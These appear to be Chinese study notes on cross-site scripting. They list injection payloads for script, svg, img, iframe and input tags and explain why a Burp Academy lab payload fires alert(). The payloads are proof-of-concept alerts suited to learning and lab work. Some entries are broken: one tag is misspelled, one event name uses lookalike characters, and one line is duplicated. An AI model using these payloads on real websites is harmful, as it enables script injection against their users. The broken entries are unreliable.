XSS漏洞

XSS攻击的核心是信任用户输入导致代码注入。

XSS,跨站脚本攻击,主要是攻击者在网页中注入恶意脚本,当其他用户访问时,脚本执行,从而窃取信息或进行其他恶意操作。

payload

注意是否需要闭合尖括号


<scirpt>alert("xss");</script>
<svg onload=alert(1)>

<img src=1 onerror=alert(1)>
<a href=javascript:alert(1)>xxx</a>

iframe 标签

最好懂的,onload执行js
<iframe οnlοad="alert(1)"></iframe>

src 执行javascript代码
<iframe src="javascript:alert(1)"></iframe>

IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe>

Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
上面的变体
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
Chrome下srcdoc属性
<iframe srcdoc="<script>alert(1)</script>"></iframe>


<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

input 标签

<input onclick="alert('xss');">  
<input onfocus="alert('xss');">  
<input onfocus="alert('xss');" autofocus="">  
<input onmouseover="alert('xss');">  
<input type="text" onkeydown="alert('xss');"></input>  
<input type="text" onkeypress="alert('xss');"></input>  
<input type="text" onkeydown="alert('xss');"></input>

burp 靶场

Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded

攻击 payload:'-alert(1)-',为什么会执行 alert

<script>
var searchTerms = ''-alert(1)-'';
</script>

原因:横杠在此处是运算符,强制表达式进行数值计算,导致alert被调用。

让我仔细分析这段代码的结构。根据JavaScript的运算符优先级,赋值操作符`=`的优先级较低,所以右边的表达式会被先计算。右边的表达式是`'' - alert(1) - ''`。这里的`-`是减法运算符,并且是从左到右结合的。所以首先计算`'' - alert(1)`,然后用这个结果再减去`''`。

现在,`alert(1)`是一个函数调用,执行后会弹出一个警告框,显示“1”。但函数调用会返回undefined,因为alert函数没有返回值。所以当计算`'' - alert(1)`时,JavaScript会尝试将两边的操作数转换为数字。空字符串`''`转换为数字是0,而alert(1)的返回值是undefined,转换成数字是NaN。所以`0 - NaN`的结果是NaN。接着,再计算`NaN - ''`,同样右边的空字符串转换为0,所以结果是NaN - 0,即NaN。

注意:var searchTerms = ''-alert(1) ''
无法弹窗,因为没有这样的语法


来源于:deepseek